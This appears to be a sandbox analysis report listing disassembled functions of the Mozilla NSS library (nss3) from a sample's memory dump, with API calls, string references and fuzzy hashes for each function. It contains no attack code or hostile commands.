Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 2e18df6edee2df4fc7c76a907c1be75a2a869c239de3cd687922602351228c09
Instruction ID: af333060ac492ef142d1c553cb7da2358c5be74af326d7ab9072b98d4a342343
Opcode Fuzzy Hash: 2e18df6edee2df4fc7c76a907c1be75a2a869c239de3cd687922602351228c09
Instruction Fuzzy Hash: B50182BAE242105BCF554F15FC108527631BB022687154378E96947BA1E722ED29C7D1

Function 6CDFAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDFAFDA

Strings

%s at line %d of [%.10s], xrefs: 6CDFAFD3
misuse, xrefs: 6CDFAFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CDFAF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFAFC4

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 497c417e4a19c628b2f71dbd35000000114c926dbdbc5d91c3bad8cfabbf1b08
Instruction ID: 09ffe48e90b7f704380901ecbe597bd5f57c60b6a90cb980ac83d38e479135aa
Opcode Fuzzy Hash: 497c417e4a19c628b2f71dbd35000000114c926dbdbc5d91c3bad8cfabbf1b08
Instruction Fuzzy Hash: 9C91C475B01215CFDB04CF59C854BAAB7F1BF45314F1A85A8E8A9AB7A1D334ED02CB60

Function 6CE5FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CE5FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE5FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE5FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CE5FDDE

Part of subcall function 6CE68800: TlsGetValue.KERNEL32(?,6CE7085A,00000000,?,6CE18369,?), ref: 6CE68821
Part of subcall function 6CE68800: TlsGetValue.KERNEL32(?,?,6CE7085A,00000000,?,6CE18369,?), ref: 6CE6883D
Part of subcall function 6CE68800: EnterCriticalSection.KERNEL32(?,?,?,6CE7085A,00000000,?,6CE18369,?), ref: 6CE68856
Part of subcall function 6CE68800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CE68887
Part of subcall function 6CE68800: PR_Unlock.NSS3(?,?,?,?,6CE7085A,00000000,?,6CE18369,?), ref: 6CE68899

Strings

pkcs11:, xrefs: 6CE5FC4F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 751b246de1c0c68489147bfa28a18397a8b1d8895f4b37bfe86abe539112e103
Instruction ID: f3ad7f2131a2132e175dc2ad6cb02c011868891021db5d9a884bd0623e3f6f60
Opcode Fuzzy Hash: 751b246de1c0c68489147bfa28a18397a8b1d8895f4b37bfe86abe539112e103
Instruction Fuzzy Hash: 205105B2A501219BEB018F65DC40F5A3375AF4235CFB50129DD04ABF42EB3BE825CB92

Function 6CD9BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CD9BE02

Part of subcall function 6CEC9C40: memcmp.VCRUNTIME140(?,00000000,6CD9C52B), ref: 6CEC9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD9BE9F

Strings

%s at line %d of [%.10s], xrefs: 6CD9BE98
database corruption, xrefs: 6CD9BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD9BE89

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 4e983f1de332fcd6277c3b4df75f36236d484c700a3121ecadfdb03b2ece8458
Instruction ID: c963716c3c847046c2b38324259a9099da4d48a08d806e2e64184516cfe3a6e8
Opcode Fuzzy Hash: 4e983f1de332fcd6277c3b4df75f36236d484c700a3121ecadfdb03b2ece8458
Instruction Fuzzy Hash: C4316B39B04655EBC710CF69C8D4AABBBBAAF41314B1A8544EE981BBE1D371EC04C3D0

Function 6CE11EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE14C64,?,-00000004), ref: 6CE11EE2

Part of subcall function 6CE71820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE11D97,?,?), ref: 6CE71836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE14C64,?,-00000004), ref: 6CE11F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE14C64,?,-00000004), ref: 6CE11F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE14C64,?,-00000004), ref: 6CE11F53

Strings

dLl, xrefs: 6CE11F2B, 6CE11F51

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: 7aece5473bd2be8ba549d6d9c1566adb9512be068457f8c714b31a2671d35f2c
Instruction ID: b42a971bb333abbe14f9d8406dedeb92576a1bfc824924c312f50d3a5b9a8e30
Opcode Fuzzy Hash: 7aece5473bd2be8ba549d6d9c1566adb9512be068457f8c714b31a2671d35f2c
Instruction Fuzzy Hash: BA218371918306ABC710CFA6DD01ADB77F9AF99699F10092DE858C3B40F330E519C7A2

Function 6CE00DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE00BDE), ref: 6CE00DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE00BDE), ref: 6CE00DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE00BDE), ref: 6CE00DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE00BDE), ref: 6CE00E32

Strings

%s incr => %d (find lib), xrefs: 6CE00E2D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2781c9ba23b449e7d8afc1cf44e45a4c8d06c7c83bc02874304d032771d2223f
Instruction ID: cd0599a0ad923c8ade67499dc6112f059d672a16c45b3d0a2c28815327346cff
Opcode Fuzzy Hash: 2781c9ba23b449e7d8afc1cf44e45a4c8d06c7c83bc02874304d032771d2223f
Instruction Fuzzy Hash: CF012472B002209FEB209F649C45E5773BCDB45A09B24482DE909E3B41E762FC2986E1

Function 6CEBAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CE96AC6,?), ref: 6CEBAC2D

Part of subcall function 6CE5ADC0: TlsGetValue.KERNEL32(?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AE10
Part of subcall function 6CE5ADC0: EnterCriticalSection.KERNEL32(?,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AE24
Part of subcall function 6CE5ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE3D079,00000000,00000001), ref: 6CE5AE5A
Part of subcall function 6CE5ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AE6F
Part of subcall function 6CE5ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AE7F
Part of subcall function 6CE5ADC0: TlsGetValue.KERNEL32(?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AEB1
Part of subcall function 6CE5ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE3CDBB,?,6CE3D079,00000000,00000001), ref: 6CE5AEC9

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CE96AC6,?), ref: 6CEBAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]l,00000000,?,?,6CE96AC6,?), ref: 6CEBAC59
free.MOZGLUE(8CB6FF01,6CE96AC6,?,?,?,?,?,?,?,?,?,?,6CEA5D40,00000000,?,6CEAAAD4), ref: 6CEBAC62

Strings

@]l, xrefs: 6CEBAC05

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]l
API String ID: 1595327144-728282480
Opcode ID: 44ee1caf8396c8eb5799fec4588a203a0b3dcf9bedfc6296bb946572aed57c18
Instruction ID: aa0b3250e6c5f6f0d760c347d88df5a18c5f61a35931553cfe7e866997fb0366
Opcode Fuzzy Hash: 44ee1caf8396c8eb5799fec4588a203a0b3dcf9bedfc6296bb946572aed57c18
Instruction Fuzzy Hash: 0C0128B56402009BDF00DF59EAD0B6677B8AB44B5CF288068E9499F706D735F848CFA1

Function 6CDA9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDA9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CDA9D45
EnterCriticalSection.KERNEL32(?), ref: 6CDA9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CDA9DDE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f93c3cb1f2940677f16d90d4ea24aa74573fb0ca426fd70cb559494ba30fbc18
Instruction ID: 63152e35ca8c0792967ca7848fa67f52d2978dd3643fb0c509363c0e67289578
Opcode Fuzzy Hash: f93c3cb1f2940677f16d90d4ea24aa74573fb0ca426fd70cb559494ba30fbc18
Instruction Fuzzy Hash: C7A1E131B14500DBDF499FA5E89977A37B1BB47304F18002DD4564BA64DB3AD84BCBA2

Function 6CE31E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CE31ECC

Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90AB
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90C9
Part of subcall function 6CED9090: EnterCriticalSection.KERNEL32 ref: 6CED90E5
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9116
Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED913F

TlsGetValue.KERNEL32 ref: 6CE31EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE31EEF
PR_ExitMonitor.NSS3(?), ref: 6CE31F37
PR_Unlock.NSS3(?), ref: 6CE31F44

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 98ae88cad7c6b32cc23c768298cbac9936e203f47ba64d4a40cb4ea6386fd23f
Instruction ID: 5e9ef40e455aab5d4f19cc2a945d6dd8f388ee0248490da328c8aaa0aaff6d9e
Opcode Fuzzy Hash: 98ae88cad7c6b32cc23c768298cbac9936e203f47ba64d4a40cb4ea6386fd23f
Instruction Fuzzy Hash: A671DC72A043119FD700CF64D841A5ABBF1FF89358F24492DE8A893B21E731F959CB92

Function 6CEBDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEBDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CEBDE77

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 89e8783da1c2ce5e3e300d059c949120a99d81e93c84084fea2aca09c3c6e5d0
Instruction ID: 8b0b58a2e931ea540a52495f67fe40eadd4e28ddedafdb798c2e3479c07a3480
Opcode Fuzzy Hash: 89e8783da1c2ce5e3e300d059c949120a99d81e93c84084fea2aca09c3c6e5d0
Instruction Fuzzy Hash: 19716975E04318CFDB10CF5AC6806A9B7B4FF49718F25816DD9596B709D730AA02CF90

Function 6CE2DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE2AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE31397,5B5F5EC0,?,?,6CE2B1EE,2404110F,?,?), ref: 6CE2AB3C
Part of subcall function 6CE2AB10: free.MOZGLUE(D958E836,?,6CE2B1EE,2404110F,?,?), ref: 6CE2AB49
Part of subcall function 6CE2AB10: DeleteCriticalSection.KERNEL32(5D5E6D02), ref: 6CE2AB5C
Part of subcall function 6CE2AB10: free.MOZGLUE(5D5E6CF6), ref: 6CE2AB63
Part of subcall function 6CE2AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE2AB6F
Part of subcall function 6CE2AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE2AB76

TlsGetValue.KERNEL32(?,?,6CE2B266,6CE315C6,?,?,6CE315C6), ref: 6CE2DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE2B266,6CE315C6,?,?,6CE315C6), ref: 6CE2DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE2B266,6CE315C6,?,?,6CE315C6), ref: 6CE2E029
PK11_IsLoggedIn.NSS3 ref: 6CE2E046

Part of subcall function 6CE38F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE38FAF
Part of subcall function 6CE38F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE38FD1
Part of subcall function 6CE38F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE38FFA
Part of subcall function 6CE38F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE39013
Part of subcall function 6CE38F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE39042
Part of subcall function 6CE38F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE3905A
Part of subcall function 6CE38F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE39073
Part of subcall function 6CE38F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE39111

PR_Unlock.NSS3(?,?,?,?,6CE2B266,6CE315C6,?,?,6CE315C6), ref: 6CE2E149

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 366ece7d01a0bee0fc89424d12015b12f0311737e21e1e94f3c380f7d70ca117
Instruction ID: c86157e406f893f09646b918127edea5e25576919b90d9712df945b0ab8be167
Opcode Fuzzy Hash: 366ece7d01a0bee0fc89424d12015b12f0311737e21e1e94f3c380f7d70ca117
Instruction Fuzzy Hash: B3515C75600B11CFDB10DF29C584B6ABBF0BF44319F29896DD8998B741D739E886CB82

Function 6CE3BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE3BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE3BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE19F71,?,?,00000000), ref: 6CE3BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE3BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE3C014

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 410676ec406c421a3cfd54dbcee5f25fd095b53706bf08c02e31efc513e7969b
Instruction ID: 817fec04c8b00021776659a5bd3c354e643d6ad62b78f33c95ad97aaaa46ce1c
Opcode Fuzzy Hash: 410676ec406c421a3cfd54dbcee5f25fd095b53706bf08c02e31efc513e7969b
Instruction Fuzzy Hash: 4B41B471E016259BEB00DE66CC41BBA73B9AF4524CF316128E81ED7B41EB35F905CBA1

Function 6CE0EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE0EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE0EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE0EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE0EEEB
free.MOZGLUE(?), ref: 6CE0EEF6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 441db6f1a56453d3ca6d449eebfafca4701c29743a92970904f3a76ba8bf8ffd
Instruction ID: b0886f79169ae729d84bab562754de64d5660985eac1b37ebcba30aa1d7d9000
Opcode Fuzzy Hash: 441db6f1a56453d3ca6d449eebfafca4701c29743a92970904f3a76ba8bf8ffd
Instruction Fuzzy Hash: 63312571B00A149BEB209F2CDC447667BB4FB46308F240538E8DA87B50D731E466CBE1

Function 6CE21F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE21F1C

